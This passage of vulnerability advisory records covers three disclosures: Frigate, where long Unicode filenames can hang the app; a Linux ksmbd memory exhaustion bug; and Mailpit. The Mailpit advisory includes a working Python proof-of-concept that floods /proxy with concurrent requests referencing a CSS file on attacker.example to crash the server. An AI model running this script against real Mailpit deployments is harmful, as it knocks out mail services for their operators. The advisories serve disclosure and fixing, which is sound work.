\"_\")\u003c/strong\u003e) if name else None,\n           int(start_time),\n           int(end_time),\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n    safe_file_name_current = secure_filename(\n        \u003cstrong\u003eexport_filename_check_extension(file_name_current)\u003c/strong\u003e\n    )\n    file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C19-L682C36) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C19-L682C36)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n   @MediaBp.route(\"/export/\u0026lt;file_name_current\u0026gt;/\u0026lt;file_name_new\u0026gt;\", methods=[\"PATCH\"])\n   def export_rename(\u003cstrong\u003efile_name_current\u003c/strong\u003e, file_name_new: str):\n       safe_file_name_current = secure_filename(\n           export_filename_check_extension(file_name_current)\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C41-L684C58)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n       safe_file_name_current = secure_filename(\n           export_filename_check_extension(\u003cstrong\u003efile_name_current\u003c/strong\u003e)\n       )\n       file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n   \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n   def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n       if filename.endswith(\".mp4\"):\n           return filename\n   \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_filename_check_extension(filename: str):\n       if filename.endswith(\".mp4\"):\n           return \u003cstrong\u003efilename\u003c/strong\u003e\n       else:\n           return filename + \".mp4\"\n   \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n       safe_file_name_current = secure_filename(\n           \u003cstrong\u003eexport_filename_check_extension(file_name_current)\u003c/strong\u003e\n       )\n       file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C19-L682C36)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n   @MediaBp.route(\"/export/\u0026lt;file_name_current\u0026gt;/\u0026lt;file_name_new\u0026gt;\", methods=[\"PATCH\"])\n   def export_rename(\u003cstrong\u003efile_name_current\u003c/strong\u003e, file_name_new: str):\n       safe_file_name_current = secure_filename(\n           export_filename_check_extension(file_name_current)\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C41-L684C58)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n       safe_file_name_current = secure_filename(\n           export_filename_check_extension(\u003cstrong\u003efile_name_current\u003c/strong\u003e)\n       )\n       file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n   \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n   def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n       if filename.endswith(\".mp4\"):\n           return filename\n   \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        return filename\n       else:\n           return \u003cstrong\u003efilename + \".mp4\"\u003c/strong\u003e\n\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_rename(file_name_current, file_name_new: str):\n       safe_file_name_current = secure_filename(\n           \u003cstrong\u003eexport_filename_check_extension(file_name_current)\u003c/strong\u003e\n       )\n       file_current = os.path.join(EXPORT_DIR, safe_file_name_current)\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e        )\n\n    safe_file_name_new = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name_new)\u003c/strong\u003e)\n    file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C38-L682C51) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C38-L682C51)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n   @MediaBp.route(\"/export/\u0026lt;file_name_current\u0026gt;/\u0026lt;file_name_new\u0026gt;\", methods=[\"PATCH\"])\n   def export_rename(file_name_current, \u003cstrong\u003efile_name_new\u003c/strong\u003e: str):\n       safe_file_name_current = secure_filename(\n           export_filename_check_extension(file_name_current)\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C74-L705C87)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        )\n\n       safe_file_name_new = secure_filename(export_filename_check_extension(\u003cstrong\u003efile_name_new\u003c/strong\u003e))\n       file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n   def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n       if filename.endswith(\".mp4\"):\n           return filename\n   \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_filename_check_extension(filename: str):\n       if filename.endswith(\".mp4\"):\n           return \u003cstrong\u003efilename\u003c/strong\u003e\n       else:\n           return filename + \".mp4\"\n   \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        )\n\n       safe_file_name_new = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name_new)\u003c/strong\u003e)\n       file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L682C38-L682C51)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n   @MediaBp.route(\"/export/\u0026lt;file_name_current\u0026gt;/\u0026lt;file_name_new\u0026gt;\", methods=[\"PATCH\"])\n   def export_rename(file_name_current, \u003cstrong\u003efile_name_new\u003c/strong\u003e: str):\n       safe_file_name_current = secure_filename(\n           export_filename_check_extension(file_name_current)\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C74-L705C87)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        )\n\n       safe_file_name_new = secure_filename(export_filename_check_extension(\u003cstrong\u003efile_name_new\u003c/strong\u003e))\n       file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n   def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n       if filename.endswith(\".mp4\"):\n           return filename\n   \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        return filename\n       else:\n           return \u003cstrong\u003efilename + \".mp4\"\u003c/strong\u003e\n\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        )\n\n       safe_file_name_new = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name_new)\u003c/strong\u003e)\n       file_new = os.path.join(EXPORT_DIR, safe_file_name_new)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\ndef export_delete(file_name: str):\n    safe_file_name = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name)\u003c/strong\u003e)\n    file = os.path.join(EXPORT_DIR, safe_file_name)\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L727C19-L727C28) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L727C19-L727C28)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n   @MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n   def export_delete(\u003cstrong\u003efile_name\u003c/strong\u003e: str):\n       safe_file_name = secure_filename(export_filename_check_extension(file_name))\n       file = os.path.join(EXPORT_DIR, safe_file_name)\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C70-L728C79)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n   def export_delete(file_name: str):\n       safe_file_name = secure_filename(export_filename_check_extension(\u003cstrong\u003efile_name\u003c/strong\u003e))\n       file = os.path.join(EXPORT_DIR, safe_file_name)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n   def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n       if filename.endswith(\".mp4\"):\n           return filename\n   \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L669C16-L669C24)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003edef export_filename_check_extension(filename: str):\n       if filename.endswith(\".mp4\"):\n           return \u003cstrong\u003efilename\u003c/strong\u003e\n       else:\n           return filename + \".mp4\"\n   \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n   def export_delete(file_name: str):\n       safe_file_name = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name)\u003c/strong\u003e)\n       file = os.path.join(EXPORT_DIR, safe_file_name)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 5 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L727C19-L727C28)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n   @MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n   def export_delete(\u003cstrong\u003efile_name\u003c/strong\u003e: str):\n       safe_file_name = secure_filename(export_filename_check_extension(file_name))\n       file = os.path.join(EXPORT_DIR, safe_file_name)\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C70-L728C79)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n   def export_delete(file_name: str):\n       safe_file_name = secure_filename(export_filename_check_extension(\u003cstrong\u003efile_name\u003c/strong\u003e))\n       file = os.path.join(EXPORT_DIR, safe_file_name)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n3. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L667C37-L667C45)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e\n\n   def export_filename_check_extension(\u003cstrong\u003efilename\u003c/strong\u003e: str):\n       if filename.endswith(\".mp4\"):\n           return filename\n   \u003c/code\u003e\u003c/pre\u003e\n\n4. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L671C16-L671C33)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e        return filename\n       else:\n           return \u003cstrong\u003efilename + \".mp4\"\u003c/strong\u003e\n\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n5. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/export/\u0026lt;file_name\u0026gt;\", methods=[\"DELETE\"])\n   def export_delete(file_name: str):\n       safe_file_name = secure_filename(\u003cstrong\u003eexport_filename_check_extension(file_name)\u003c/strong\u003e)\n       file = os.path.join(EXPORT_DIR, safe_file_name)\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n----------------------------------------\n\n[frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55)\n\n\u003cpre\u003e\u003ccode class=\"python\"\u003edef preview_thumbnail(file_name: str):\n    \"\"\"Get a thumbnail from the cached preview frames.\"\"\"\n    safe_file_name_current = secure_filename(\u003cstrong\u003efile_name\u003c/strong\u003e)\n    preview_dir = os.path.join(CACHE_DIR, \"preview_frames\")\n\n\u003c/code\u003e\u003c/pre\u003e\n\n*This [user-provided value](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1344C23-L1344C32) can reach a [costly Unicode normalization operation](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55).*\n\n#### Paths\n\n\u003cdetails\u003e\n\u003csummary\u003ePath with 2 steps\u003c/summary\u003e\n\n1. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1344C23-L1344C32)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003e@MediaBp.route(\"/preview/\u0026lt;file_name\u0026gt;/thumbnail.jpg\")\n   @MediaBp.route(\"/preview/\u0026lt;file_name\u0026gt;/thumbnail.webp\")\n   def preview_thumbnail(\u003cstrong\u003efile_name\u003c/strong\u003e: str):\n       \"\"\"Get a thumbnail from the cached preview frames.\"\"\"\n       safe_file_name_current = secure_filename(file_name)\n   \u003c/code\u003e\u003c/pre\u003e\n\n2. [frigate/api/media.py](https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55)\n   \u003cpre\u003e\u003ccode class=\"python\"\u003edef preview_thumbnail(file_name: str):\n       \"\"\"Get a thumbnail from the cached preview frames.\"\"\"\n       safe_file_name_current = secure_filename(\u003cstrong\u003efile_name\u003c/strong\u003e)\n       preview_dir = os.path.join(CACHE_DIR, \"preview_frames\")\n\n   \u003c/code\u003e\u003c/pre\u003e\n\n\u003c/details\u003e\n\n\n\n## Impact\n\n* Application-level Denial of Service, the web app would hung undefinetly and not process any further request due to the use of the malicious payload.\n  \n\n## Mitigation\n\n* Limiting the length of the incoming filename, similar to this commit [fix](https://github.com/django/django/commit/048a9ebb6ea468426cb4e57c71572cbbd975517f).\n  \n\n## References\n\n* Similar to [CVE-2023-46695](https://github.com/advisories/GHSA-qmf9-6jqf-j8fq \"CVE-2023-46695\")",
  "id": "GHSA-w4h6-9wrp-v5jq",
  "modified": "2024-05-14T20:00:47Z",
  "published": "2024-05-09T15:13:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/security/advisories/GHSA-w4h6-9wrp-v5jq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/commit/cc851555e4029647986dccc8b8ecf54afee31442"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/blakeblackshear/frigate"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L1346C46-L1346C55"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L408C33-L408C78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L646C25-L646C47"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L684C9-L684C59"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L705C42-L705C88"
    },
    {
      "type": "WEB",
      "url": "https://github.com/blakeblackshear/frigate/blob/d7ae0eedf89e14f297093ac5c8042862034cbaeb/frigate/api/media.py#L728C38-L728C80"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Malicious Long Unicode filenames may cause a Multiple Application-level Denial of Service"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-50285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-19T02:16:30Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: check outstanding simultaneous SMB operations\n\nIf Client send simultaneous SMB operations to ksmbd, It exhausts too much\nmemory through the \"ksmbd_work_cache\u201d. It will cause OOM issue.\nksmbd has a credit mechanism but it can\u0027t handle this problem. This patch\nadd the check if it exceeds max credits to prevent this problem by assuming\nthat one smb request consumes at least one credit.",
  "id": "GHSA-w4qv-rrv4-jm4w",
  "modified": "2025-10-01T21:30:35Z",
  "published": "2024-11-19T03:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50285"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0a77d947f599b1f39065015bec99390d0c0022ee"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1f993777275cbd8f74765c4f9d9285cb907c9be5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e257ac6fe138623cf59fca8898abdf659dbc8356"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:53:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe screenshot/print proxy (/proxy?data=\u2026) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go\u0027s runtime raises fatal error: concurrent map read and map write \u2014 a runtime.throw that is not recoverable by http.Server\u0027s handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.\n\n### Details\nA remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=\u2026 requests against the same message\u0027s CSS URL. Mailpit\u0027s defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.\n\nAffected code\n[server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229)\n[server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66)\n[server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) \n\nGo\u0027s map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw(\"concurrent map read and map write\") \u2014 throw is not caught by defer recover and is not caught by http.Server\u0027s handler-panic guard. The process exits with a stack trace.\n\n### PoC\n1. Deposit any message with a \u003clink rel=\"stylesheet\" href=\"https://attacker.example/big.css\"\u003e in the store (SMTP or /api/v1/send, both unauthenticated by default).\n2. Make a few hundred concurrent requests to /proxy?data=base64(\u003cid\u003e:https://attacker.example/big.css) \u2014 the attacker\u0027s big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.\n\nSkeleton (set --allow-internal-http-requests only if you\u0027re testing locally \u2014 internal IPs are blocked by safeDialContext in production, which is correct):\n\n```\n# proxy-race.py\nimport socket, threading, base64, sys\n\nID = sys.argv[1]                                   # 22-char shortuuid\nCSS = \"https://attacker.example/big.css\"\nTOKEN = base64.b64encode(f\"{ID}:{CSS}\".encode()).decode()\n\nreq = (\n    f\"GET /proxy?data={TOKEN} HTTP/1.1\\r\\n\"\n    f\"Host: target:8025\\r\\n\"\n    f\"Connection: close\\r\\n\\r\\n\"\n).encode()\n\ndef hit():\n    try:\n        s = socket.create_connection((\"target\", 8025), timeout=10)\n        s.sendall(req)\n        while s.recv(8192): pass\n        s.close()\n    except Exception: pass\n\nfor _ in range(50):                                # 50 rounds\n    ts = [threading.Thread(target=hit) for _ in range(300)]\n    for t in ts: t.start()\n    for t in ts: t.join()\n```\n\nWhen the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine\u0027s assets[id] = result write, Go\u0027s runtime emits:\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 123 [running]:\nruntime.throw(...)\ngithub.com/axllent/mailpit/server/handlers.ProxyHandler(...)\n        server/handlers/proxy.go:216\n...\n```\n\n\u2026and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.\n\n### Impact\nUnauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).",
  "id": "GHSA-w4vj-r5pg-3722",
  "modified": "2026-05-19T15:53:52Z",
  "published": "2026-05-19T15:53:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit: Concurrent map read \u0026 write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)"
}